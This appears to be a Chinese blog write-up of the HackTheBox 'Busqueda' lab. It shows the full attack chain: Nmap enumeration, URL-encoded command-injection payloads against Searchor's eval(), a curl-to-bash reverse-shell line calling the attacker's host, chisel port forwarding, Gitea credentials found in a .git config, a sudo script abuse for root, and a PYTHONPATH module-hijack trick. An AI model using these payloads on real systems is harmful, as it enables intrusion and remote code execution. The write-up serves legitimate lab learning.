OverView
好久没有更新了,最近都在忙着打比赛。太忙了。深深体会到了选择大于努力的道理。这是 Easy 难度的 Linux 靶机,但是在第一个突破点还是卡了好久。
Useful Skills and Tools
PYTHONPATH
虽然这里用不到,但是当时想用的时候忘记了。这里再重新记录一下。
PYTHONPATH is a special environment variable that provides guidance to the Python interpreter about where to find various libraries and applications.
默认情况下 PYTHONPATH 未指定,运行 Python 文件会在 /usr/lib/python3版本号
这个目录下寻找引入的模块。当然我们也可以手动指定。比如在 ~
目录下编写一个 a.py
import requests
requests.get('http://www.google.com')
如果我们在/tmp
目录下写下一个 requests.py 文件如下:
import os
def get(a):
os.system("wireshark")
此时运行
$ export PYTHONPATH=/tmp
$ python3 a.py
不用怀疑,将会弹出 wireshark
Enumeration
Nmap
sudo nmap -sCVS -T5 10.10.11.208 -Pn -p- -oA -v target
输出内容如下:
# Nmap 7.93 scan initiated Fri Apr 14 09:55:00 2023 as: nmap -sCVS -T5 -Pn -p- -v -oN target 10.10.11.208
Warning: 10.10.11.208 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.11.208
Host is up (0.29s latency).
Not shown: 65516 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
5886/tcp filtered unknown
6296/tcp filtered unknown
13921/tcp filtered unknown
18982/tcp filtered unknown
21335/tcp filtered unknown
26376/tcp filtered unknown
26595/tcp filtered unknown
34696/tcp filtered unknown
35373/tcp filtered unknown
35409/tcp filtered unknown
41760/tcp filtered unknown
43115/tcp filtered unknown
44731/tcp filtered unknown
45907/tcp filtered unknown
46704/tcp filtered unknown
48792/tcp filtered unknown
49335/tcp filtered unknown
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Apr 14 10:07:26 2023 -- 1 IP address (1 host up) scanned in 746.54 seconds
只开放了两个有用的端口。直接看 Web 服务吧。
HTTP
主要有一个功能,就是选择搜索引擎,选择要搜索的内容,然后将内容提交给搜索引擎完成。是一个集成了多个搜索引擎的服务。
这里可以注意到使用了 Searchor 2.4.0 这个组件,稍微查询一下就可以发现存在命令注入 https://security.snyk.io/package/pip/searchor
可以看到 2.4.2 版本对 2.4.0 版本的代码修改如下
将原本用 eval 操作的 search 方法给修复了
url = eval(
f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
)
而我们抓取的应用数据包也正好对应的是 engine
和 query
两个参数
并且通过响应头我们可以 Server 字段 Server: Werkzeug/2.1.2 Python/3.10.6
接下来就是想办法怎么利用这个 search 函数
Command Inject
我去 https://github.com/ArjunSharda/Searchor 下载了部分源码,可以发现 Engine 是一个类,继承了父类 Enum。
这里的命令注入本来可以使用下面提到的两种方法,但因为后端限制了导致第一种办法不能实现(卡了好久,我后面会提到)
FirstWay – Magic function
既然 Engine 是类,我们不难想到可以借助我们在 SSTI 下的那些操作。找到相关的可执行方法。
Payload 构造过程如下:
__class__
:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
# 因为我记得只有当 class 是 Object 的时候比较好构造命令执行
print(Engine.__class__)
<class 'enum.EnumMeta'>
__bases__
:用来查看类的基类,也可以使用数组索引来查看特定位置的值。 通过该属性可以查看该类的所有直接父类,该属性返回所有直接父类组成的元组(虽然只有一个元素)。
print(Engine.__class__.__bases__)
(<class 'type'>,)
print(Engine.__class__.__bases__[0].__bases__[0])
(<class 'object'>,)
# OK 终于是 object 了
# 这个时候我们就可以找子类,明显 object 是所有类的父类
__subclass__()
:查看当前类的子类组成的列表
print(Engine.__class__.__bases__[0].__bases__[0].__subclasses__())
# 输出内容很多,为了方便查找,我采用循环的方式
代码如下:
if __name__ == '__main__':
j = 0
for i in Engine.__class__.__bases__[0].__bases__[0].__subclasses__():
print(j)
print(i)
j = j + 1
参考 https://xz.aliyun.com/t/11090#toc-1 可知几个含有 eval 函数的类有
warnings.catch_warnings
WarningMessage
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
os._wrap_close
reprlib.Repr
weakref.finalize
etc.
我这里找到了索引为 181 <class 'warnings.catch_warnings'>
__init__
: 初始化类,返回的类型是function
print(Engine.__class__.__bases__[0].__bases__[0].__subclasses__()[181].__init__)
<function catch_warnings.__init__ at 0x0000015B0CBE5280>
__globals__
: 使用方式是 函数名.__globals__获取 function 所处空间下可使用的 module、方法以及所有变量。
for i in Engine.__class__.__bases__[0].__bases__[0].__subclasses__()[181].__init__.__globals__:
print(i)
可以发现很多东西
__builtins__
:以一个集合的形式查看引用。builtins 是 python 中的一个模块。该模块提供对 Python 的所有“内置”标识符的直接访问;例如,builtins.open 是内置函数的全名 open() 。
for i in Engine.__class__.__bases__[0].__bases__[0].__subclasses__()[181].__init__.__globals__['__builtins__']:
print(i)
运行后就可以发现我们的 eval 和 exec 函数了
__import__()
:该方法用于动态加载类和函数 。
也就构造出 Payload:
__class__.__bases__[0].__bases__[0].__subclasses__()[181].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('calc')")#
当然需要 URL 编码:将引号和一些特殊字符编码了
engine=__class__.__bases__[0].__bases__[0].__subclasses__()[181].__init__.__globals__[%27__builtins__%27][%27eval%27](%22__import__(%27os%27).popen(%27calc%27)%22)%23&query=test
并且写了个本地应用进行测试,如下 app.py
from flask import Flask, render_template, request, redirect
from enum import Enum, unique
app = Flask(__name__)
@unique
class Engine(Enum):
Accuweather = "https://www.accuweather.com/en/search-locations?query={query}"
AlternativeTo = "https://alternativeto.net/browse/search/?q={query}"
Amazon = "https://www.amazon.com/s?k={query}"
# ...
def new(engine_name, base_url):
extend_enum(Engine, engine_name, base_url + "{query}")
def search(self, query, open_web=False, copy_url=False, additional_queries: dict = None):
url = self.value.format(query=quote(query, safe=""))
if additional_queries:
url += ("?" if "?" not in self.value.split("/")[-1] else "&") + "&".join(
query + "=" + quote(query_val)
for query, query_val in additional_queries.items()
)
if open_web is True:
open_new_tab(url)
if copy_url is True:
copy(url)
return url
@app.route('/test', methods=['GET','POST'])
def test():
engine = request.form['engine']
query = request.form['query']
print(engine)
print(query)
copy = False
open = False
payload = f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
print(payload)
url = eval(
payload
)
if __name__ == '__main__':
app.run(debug=False)
但是在目标机器上怎么也打不通,只能使用第二种方法
SecondWay – “+”
Payload 如下:
engine=Bing&query=x%27%2beval(%22__import__(%27os%27).popen(%27calc%27).read()%22)%2b%27
eval 执行的内容是
Engine.Bing.search('x'+eval("__import__('os').popen('calc').read()")+'', copy_url=False, open_web=False)
通过 +
和 '
可以看到刚好闭合了 search 方法的第一个字符串参数,并又执行了一次 eval 函数。eval 是可以嵌套使用的,并且还可以执行代码对象
该函数还可用于执行任意代码对象(比如由
compile()
创建的对象)。 这时传入的是代码对象,而非一个字符串了
最终用
engine=Bing&query=x%27%2beval(%22__import__(%27os%27).popen(%27curl%2010.10.14.26/a%7cbash%27).read()%22)%2b%27
第二种方式打通了
FootHold
接收到反弹 shell 第一步的操作就是,看看有没有 Python3,然后一套行云流水获得比较完美的 shell
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
$ ^Z
┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg
读取了 app.py 后才知道原来对 Engine.__members__
进行了检验,只有符合的才执行 search 方法
@app.route('/search', methods=['POST'])
def search():
try:
engine = request.form.get('engine')
query = request.form.get('query')
auto_redirect = request.form.get('auto_redirect')
if engine in Engine.__members__.keys():
arg_list = ['searchor', 'search', engine, query]
r = subprocess.run(arg_list, capture_output=True)
url = r.stdout.strip().decode()
if auto_redirect is not None:
return redirect(url, code=302)
可以发现 5000 端口和 3000 端口在监听
gitea site
读取了 /etc/apache2/sites-enabled
下的配置文件,可以发现 3000 端口是运行着 gitea.searcher.htb
svc@busqueda:/etc/apache2/sites-enabled$ ls
000-default.conf
svc@busqueda:/etc/apache2/sites-enabled$ cat 000-default.conf
<VirtualHost *:80>
ProxyPreserveHost On
ServerName searcher.htb
ServerAdmin [email protected]
ProxyPass / http://127.0.0.1:5000/
ProxyPassReverse / http://127.0.0.1:5000/
RewriteEngine On
RewriteCond %{HTTP_HOST} !^searcher.htb$
RewriteRule /.* http://searcher.htb/ [R]
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<VirtualHost *:80>
ProxyPreserveHost On
ServerName gitea.searcher.htb
ServerAdmin [email protected]
ProxyPass / http://127.0.0.1:3000/
ProxyPassReverse / http://127.0.0.1:3000/
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
使用 chisel 工具将 3000 端口转发:
服务端(kali):
./chisel server --reverse --port 9999
目标靶机上:
./chisel client 10.10.14.26:9999 R:3000:127.0.0.1:3000
访问以后发现 Gitea Version 为 1.18.0
找不到什么漏洞。
Git Message
但是在 /var/www/app
目录下发现了 .git
目录
读取该目录下的 config
文件
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://cody:[email protected]/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
得到了登录 gitea 的用户和密码,能够但是并没有什么用。用密码试一下 sudo -l
发现成功了
Privilege escalation
执行 sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
发现如下信息。
经过测试发现,运行脚本使用 docker ps
参数就是执行 docker ps
命令,使用 docker-inspect
不知道是什么。使用 full-checkup
似乎是执行full-checkup.sh
的内容,因为权限不够读取,无法得知。
root
最终提权是在家目录下创建一个 full-checkup.sh
写下反弹 shell 的命令然后执行
sudo /opt/scripts/system-checkup.py full-checkup
即可
就不放过程了。